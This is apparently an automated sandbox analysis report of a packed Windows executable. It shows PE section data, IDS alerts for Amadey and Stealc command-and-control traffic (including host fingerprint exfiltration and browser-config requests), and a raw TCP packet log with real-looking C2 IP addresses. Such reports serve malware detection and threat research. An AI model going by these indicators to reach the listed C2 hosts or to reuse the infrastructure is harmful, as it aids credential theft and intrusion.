add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4a8214	0x10	axajwlnp
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4a81c4	0x18	axajwlnp
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2dc00	5bb1d9891adf26d9b9a528279043ce3c	False	0.9996798155737705	data	7.9818006822367735	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	02666af938a995e9f5bd063085eb08bc	False	0.578125	data	4.491487842053274	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2a6000	0x200	d281b7ef25bed5c24fd9289ff35137e0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
axajwlnp	0x311000	0x198000	0x197400	25a8ee66881862a87eb86769f6a5ecf9	False	0.9949373417357275	data	7.954626720251567	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ubpicycu	0x4a9000	0x1000	0x400	71851a435a0fc6cade07262953744c78	False	0.767578125	data	6.1416593200544005	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4aa000	0x3000	0x2200	99146d522da5bcadcf7ccfda106094da	False	0.0954733455882353	DOS executable (COM)	1.0322117439988039	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4a8224	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T13:55:49.362969+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	63720	80	192.168.2.6	185.215.113.19
2024-07-26T13:51:15.536510+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	63374	80	192.168.2.6	185.215.113.19
2024-07-26T13:49:25.792417+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	59020	80	192.168.2.6	85.28.47.31
2024-07-26T13:49:10.304450+0200	TCP	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	58985	80	192.168.2.6	85.28.47.31
2024-07-26T13:49:09.387132+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	80	58985	85.28.47.31	192.168.2.6
2024-07-26T13:49:11.739705+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	58985	85.28.47.31	192.168.2.6
2024-07-26T13:49:12.374824+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	58985	85.28.47.31	192.168.2.6
2024-07-26T13:48:08.348549+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	59328	80	192.168.2.6	185.215.113.16
2024-07-26T13:49:11.829224+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	58985	85.28.47.31	192.168.2.6
2024-07-26T13:53:00.518191+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	63511	80	192.168.2.6	185.215.113.19
2024-07-26T13:49:48.429984+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	59095	80	192.168.2.6	85.28.47.31
2024-07-26T13:49:11.917939+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	58985	85.28.47.31	192.168.2.6
2024-07-26T13:49:33.865966+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	59056	80	192.168.2.6	185.215.113.16
2024-07-26T13:49:12.181357+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	58985	85.28.47.31	192.168.2.6
2024-07-26T13:48:51.347519+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	58980	20.114.59.183	192.168.2.6
2024-07-26T13:49:08.937121+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	58985	80	192.168.2.6	85.28.47.31
2024-07-26T13:49:05.395942+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	58982	80	192.168.2.6	185.215.113.16
2024-07-26T13:49:24.752381+0200	TCP	2002725	ET ACTIVEX COM Object Instantiation Memory Corruption Vulnerability MS05-054	80	59020	85.28.47.31	192.168.2.6
2024-07-26T13:51:59.714199+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	63432	80	192.168.2.6	185.215.113.19
2024-07-26T13:49:11.658964+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	58985	80	192.168.2.6	85.28.47.31
2024-07-26T13:49:27.618933+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	59020	80	192.168.2.6	85.28.47.31
2024-07-26T13:49:07.477003+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	58983	80	192.168.2.6	185.215.113.19
2024-07-26T13:49:04.364870+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	58981	80	192.168.2.6	185.215.113.19
2024-07-26T13:49:30.986109+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	59056	80	192.168.2.6	185.215.113.16
2024-07-26T13:49:09.137809+0200	TCP	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	80	58985	85.28.47.31	192.168.2.6
2024-07-26T13:51:56.407476+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	63428	80	192.168.2.6	185.215.113.19
2024-07-26T13:50:49.295170+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	63342	80	192.168.2.6	185.215.113.19
2024-07-26T13:49:39.115411+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	59079	80	192.168.2.6	85.28.47.31
2024-07-26T13:51:42.894089+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	63412	80	192.168.2.6	185.215.113.19
2024-07-26T13:48:31.255205+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49716	40.68.123.157	192.168.2.6
2024-07-26T13:49:10.082429+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	58986	80	192.168.2.6	185.215.113.19
2024-07-26T13:49:11.828563+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	58985	85.28.47.31	192.168.2.6
2024-07-26T13:49:08.232794+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	58984	80	192.168.2.6	185.215.113.16
2024-07-26T13:49:06.690316+0200	TCP	2856122	ETPRO MALWARE Amadey CnC Response M1	80	58981	185.215.113.19	192.168.2.6
2024-07-26T13:49:09.131057+0200	TCP	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	58985	80	192.168.2.6	85.28.47.31
2024-07-26T13:49:25.559863+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	59020	85.28.47.31	192.168.2.6
2024-07-26T13:48:49.803324+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	58979	20.114.59.183	192.168.2.6
2024-07-26T13:49:24.751776+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	59020	85.28.47.31	192.168.2.6
2024-07-26T13:49:27.024851+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	59020	85.28.47.31	192.168.2.6
2024-07-26T13:49:11.823129+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	58985	85.28.47.31	192.168.2.6
2024-07-26T13:49:09.311711+0200	TCP	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	58985	80	192.168.2.6	85.28.47.31
2024-07-26T13:49:28.093334+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	59020	80	192.168.2.6	85.28.47.31
2024-07-26T13:57:08.173521+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	59327	80	192.168.2.6	185.215.113.19
2024-07-26T13:49:23.246514+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	59020	80	192.168.2.6	85.28.47.31
2024-07-26T13:49:05.850728+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	58982	185.215.113.16	192.168.2.6
2024-07-26T13:49:24.404914+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	59020	80	192.168.2.6	85.28.47.31
2024-07-26T13:49:15.990188+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	59008	80	192.168.2.6	185.215.113.19
2024-07-26T13:54:11.607782+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	63598	80	192.168.2.6	185.215.113.19
2024-07-26T13:49:25.295347+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	59020	80	192.168.2.6	85.28.47.31

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 13:48:08.348548889 CEST	49674	443	192.168.2.6	173.222.162.64
Jul 26, 2024 13:48:08.348548889 CEST	49673	443	192.168.2.6	173.222.162.64
Jul 26, 2024 13:48:08.660904884 CEST	49672	443	192.168.2.6	173.222.162.64
Jul 26, 2024 13:48:09.150938988 CEST	49712	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:48:09.150973082 CEST	443	49712	40.115.3.253	192.168.2.6
Jul 26, 2024 13:48:09.151041985 CEST	49712	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:48:09.151648998 CEST	49712	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:48:09.151664019 CEST	443	49712	40.115.3.253	192.168.2.6
Jul 26, 2024 13:48:09.981498003 CEST	443	49712	40.115.3.253	192.168.2.6
Jul 26, 2024 13:48:09.981570005 CEST	49712	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:48:09.987324953 CEST	49712	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:48:09.987344027 CEST	443	49712	40.115.3.253	192.168.2.6
Jul 26, 2024 13:48:09.987571955 CEST	443	49712	40.115.3.253	192.168.2.6
Jul 26, 2024 13:48:09.989958048 CEST	49712	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:48:09.990108967 CEST	49712	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:48:09.990115881 CEST	443	49712	40.115.3.253	192.168.2.6
Jul 26, 2024 13:48:09.990328074 CEST	49712	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:48:10.032502890 CEST	443	49712	40.115.3.253	192.168.2.6
Jul 26, 2024 13:48:10.171009064 CEST	443	49712	40.115.3.253	192.168.2.6
Jul 26, 2024 13:48:10.171092987 CEST	443	49712	40.115.3.253	192.168.2.6
Jul 26, 2024 13:48:10.171180964 CEST	49712	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:48:10.171341896 CEST	49712	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:48:10.171364069 CEST	443	49712	40.115.3.253	192.168.2.6
Jul 26, 2024 13:48:17.064608097 CEST	49713	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:48:17.064652920 CEST	443	49713	40.113.103.199	192.168.2.6
Jul 26, 2024 13:48:17.064795017 CEST	49713	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:48:17.065470934 CEST	49713	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:48:17.065485954 CEST	443	49713	40.113.103.199	192.168.2.6
Jul 26, 2024 13:48:17.911865950 CEST	443	49713	40.113.103.199	192.168.2.6
Jul 26, 2024 13:48:17.911968946 CEST	49713	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:48:17.915215969 CEST	49713	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:48:17.915232897 CEST	443	49713	40.113.103.199	192.168.2.6
Jul 26, 2024 13:48:17.915997982 CEST	443	49713	40.113.103.199	192.168.2.6
Jul 26, 2024 13:48:17.927385092 CEST	49713	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:48:17.957686901 CEST	49674	443	192.168.2.6	173.222.162.64
Jul 26, 2024 13:48:17.957686901 CEST	49673	443	192.168.2.6	173.222.162.64
Jul 26, 2024 13:48:17.972502947 CEST	443	49713	40.113.103.199	192.168.2.6
Jul 26, 2024 13:48:17.999676943 CEST	49713	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:48:17.999687910 CEST	443	49713	40.113.103.199	192.168.2.6
Jul 26, 2024 13:48:18.000334024 CEST	49713	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:48:18.000339031 CEST	443	49713	40.113.103.199	192.168.2.6
Jul 26, 2024 13:48:18.192449093 CEST	443	49713	40.113.103.199	192.168.2.6
Jul 26, 2024 13:48:18.192518950 CEST	443	49713	40.113.103.199	192.168.2.6
Jul 26, 2024 13:48:18.192593098 CEST	49713	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:48:18.192861080 CEST	49713	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:48:18.192878962 CEST	443	49713	40.113.103.199	192.168.2.6
Jul 26, 2024 13:48:18.265183926 CEST	49672	443	192.168.2.6	173.222.162.64
Jul 26, 2024 13:48:19.944597006 CEST	443	49707	173.222.162.64	192.168.2.6
Jul 26, 2024 13:48:19.944689989 CEST	49707	443	192.168.2.6	173.222.162.64
Jul 26, 2024 13:48:29.461071014 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:48:29.461142063 CEST	443	49715	40.113.103.199	192.168.2.6
Jul 26, 2024 13:48:29.461213112 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:48:29.461839914 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:48:29.461855888 CEST	443	49715	40.113.103.199	192.168.2.6
Jul 26, 2024 13:48:29.879143000 CEST	49716	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:29.879194021 CEST	443	49716	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:29.879273891 CEST	49716	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:29.933618069 CEST	49716	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:29.933639050 CEST	443	49716	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:30.349551916 CEST	443	49715	40.113.103.199	192.168.2.6
Jul 26, 2024 13:48:30.349617958 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:48:30.360586882 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:48:30.360606909 CEST	443	49715	40.113.103.199	192.168.2.6
Jul 26, 2024 13:48:30.360833883 CEST	443	49715	40.113.103.199	192.168.2.6
Jul 26, 2024 13:48:30.362756014 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:48:30.362816095 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:48:30.362822056 CEST	443	49715	40.113.103.199	192.168.2.6
Jul 26, 2024 13:48:30.363004923 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:48:30.408492088 CEST	443	49715	40.113.103.199	192.168.2.6
Jul 26, 2024 13:48:30.534362078 CEST	443	49715	40.113.103.199	192.168.2.6
Jul 26, 2024 13:48:30.534817934 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:48:30.534832001 CEST	443	49715	40.113.103.199	192.168.2.6
Jul 26, 2024 13:48:30.534861088 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:48:30.534884930 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:48:30.746824026 CEST	443	49716	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:30.746885061 CEST	49716	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:30.748615980 CEST	49716	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:30.748625994 CEST	443	49716	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:30.748905897 CEST	443	49716	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:30.801425934 CEST	49716	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:30.988218069 CEST	49716	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:31.028537035 CEST	443	49716	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:31.253300905 CEST	443	49716	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:31.253330946 CEST	443	49716	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:31.253339052 CEST	443	49716	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:31.253350973 CEST	443	49716	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:31.253364086 CEST	443	49716	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:31.253371954 CEST	443	49716	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:31.253412962 CEST	49716	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:31.253427982 CEST	443	49716	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:31.253443003 CEST	49716	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:31.253468990 CEST	49716	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:31.255055904 CEST	443	49716	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:31.255110979 CEST	49716	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:31.255115032 CEST	443	49716	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:31.255127907 CEST	443	49716	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:31.255175114 CEST	49716	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:31.265130997 CEST	49716	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:31.265147924 CEST	443	49716	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:44.953758001 CEST	58975	53	192.168.2.6	162.159.36.2
Jul 26, 2024 13:48:44.959161043 CEST	53	58975	162.159.36.2	192.168.2.6
Jul 26, 2024 13:48:44.959275007 CEST	58975	53	192.168.2.6	162.159.36.2
Jul 26, 2024 13:48:44.964370012 CEST	53	58975	162.159.36.2	192.168.2.6
Jul 26, 2024 13:48:45.405505896 CEST	58975	53	192.168.2.6	162.159.36.2
Jul 26, 2024 13:48:45.411168098 CEST	53	58975	162.159.36.2	192.168.2.6
Jul 26, 2024 13:48:45.411251068 CEST	58975	53	192.168.2.6	162.159.36.2
Jul 26, 2024 13:48:45.443700075 CEST	58976	443	192.168.2.6	13.95.31.18
Jul 26, 2024 13:48:45.443737030 CEST	443	58976	13.95.31.18	192.168.2.6
Jul 26, 2024 13:48:45.443876982 CEST	58976	443	192.168.2.6	13.95.31.18
Jul 26, 2024 13:48:45.444199085 CEST	58976	443	192.168.2.6	13.95.31.18
Jul 26, 2024 13:48:45.444211960 CEST	443	58976	13.95.31.18	192.168.2.6
Jul 26, 2024 13:48:46.257630110 CEST	443	58976	13.95.31.18	192.168.2.6
Jul 26, 2024 13:48:46.257694960 CEST	58976	443	192.168.2.6	13.95.31.18
Jul 26, 2024 13:48:46.263849974 CEST	58976	443	192.168.2.6	13.95.31.18
Jul 26, 2024 13:48:46.263861895 CEST	443	58976	13.95.31.18	192.168.2.6
Jul 26, 2024 13:48:46.264281988 CEST	443	58976	13.95.31.18	192.168.2.6
Jul 26, 2024 13:48:46.273648977 CEST	58976	443	192.168.2.6	13.95.31.18
Jul 26, 2024 13:48:46.320496082 CEST	443	58976	13.95.31.18	192.168.2.6
Jul 26, 2024 13:48:46.519851923 CEST	443	58976	13.95.31.18	192.168.2.6
Jul 26, 2024 13:48:46.519922972 CEST	443	58976	13.95.31.18	192.168.2.6
Jul 26, 2024 13:48:46.520041943 CEST	58976	443	192.168.2.6	13.95.31.18
Jul 26, 2024 13:48:46.520064116 CEST	443	58976	13.95.31.18	192.168.2.6
Jul 26, 2024 13:48:46.520076990 CEST	58976	443	192.168.2.6	13.95.31.18
Jul 26, 2024 13:48:46.520082951 CEST	443	58976	13.95.31.18	192.168.2.6
Jul 26, 2024 13:48:46.520097971 CEST	58976	443	192.168.2.6	13.95.31.18
Jul 26, 2024 13:48:46.520101070 CEST	443	58976	13.95.31.18	192.168.2.6
Jul 26, 2024 13:48:46.570343971 CEST	58977	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:46.570383072 CEST	443	58977	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:46.570689917 CEST	58977	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:46.571047068 CEST	58977	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:46.571063042 CEST	443	58977	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:47.379726887 CEST	443	58977	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:47.379808903 CEST	58977	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:47.381040096 CEST	58977	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:47.381047010 CEST	443	58977	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:47.381247044 CEST	443	58977	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:47.387928009 CEST	58977	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:47.428503036 CEST	443	58977	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:47.630697012 CEST	443	58977	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:47.630898952 CEST	443	58977	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:47.630971909 CEST	58977	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:47.631438017 CEST	58977	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:47.631455898 CEST	443	58977	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:47.631489992 CEST	58977	443	192.168.2.6	40.68.123.157
Jul 26, 2024 13:48:47.631495953 CEST	443	58977	40.68.123.157	192.168.2.6
Jul 26, 2024 13:48:48.565164089 CEST	58978	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:48:48.565217972 CEST	443	58978	40.115.3.253	192.168.2.6
Jul 26, 2024 13:48:48.565299988 CEST	58978	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:48:48.565922022 CEST	58978	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:48:48.565938950 CEST	443	58978	40.115.3.253	192.168.2.6
Jul 26, 2024 13:48:48.690701962 CEST	58979	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:48.690800905 CEST	443	58979	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:48.690895081 CEST	58979	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:48.691240072 CEST	58979	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:48.691274881 CEST	443	58979	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:49.348006010 CEST	443	58978	40.115.3.253	192.168.2.6
Jul 26, 2024 13:48:49.348090887 CEST	58978	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:48:49.351170063 CEST	58978	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:48:49.351198912 CEST	443	58978	40.115.3.253	192.168.2.6
Jul 26, 2024 13:48:49.351443052 CEST	443	58978	40.115.3.253	192.168.2.6
Jul 26, 2024 13:48:49.353416920 CEST	58978	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:48:49.353461027 CEST	58978	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:48:49.353471994 CEST	443	58978	40.115.3.253	192.168.2.6
Jul 26, 2024 13:48:49.353694916 CEST	58978	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:48:49.400505066 CEST	443	58978	40.115.3.253	192.168.2.6
Jul 26, 2024 13:48:49.472956896 CEST	443	58979	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:49.473206997 CEST	58979	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:49.474973917 CEST	58979	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:49.475003004 CEST	443	58979	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:49.475409985 CEST	443	58979	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:49.476537943 CEST	58979	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:49.523694992 CEST	443	58978	40.115.3.253	192.168.2.6
Jul 26, 2024 13:48:49.524331093 CEST	58978	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:48:49.524332047 CEST	58978	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:48:49.524399996 CEST	443	58978	40.115.3.253	192.168.2.6
Jul 26, 2024 13:48:49.524502993 CEST	443	58979	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:49.524506092 CEST	443	58978	40.115.3.253	192.168.2.6
Jul 26, 2024 13:48:49.524532080 CEST	58978	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:48:49.801388979 CEST	443	58979	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:49.801469088 CEST	443	58979	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:49.801512957 CEST	443	58979	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:49.801568985 CEST	58979	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:49.801646948 CEST	443	58979	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:49.801687956 CEST	58979	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:49.801714897 CEST	58979	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:49.802366018 CEST	443	58979	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:49.802465916 CEST	58979	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:49.802480936 CEST	443	58979	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:49.803107977 CEST	443	58979	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:49.803184032 CEST	58979	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:49.807286024 CEST	58979	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:49.807286024 CEST	58979	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:49.807322979 CEST	443	58979	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:49.807347059 CEST	443	58979	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:49.997651100 CEST	58980	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:49.997695923 CEST	443	58980	20.114.59.183	192.168.2.6
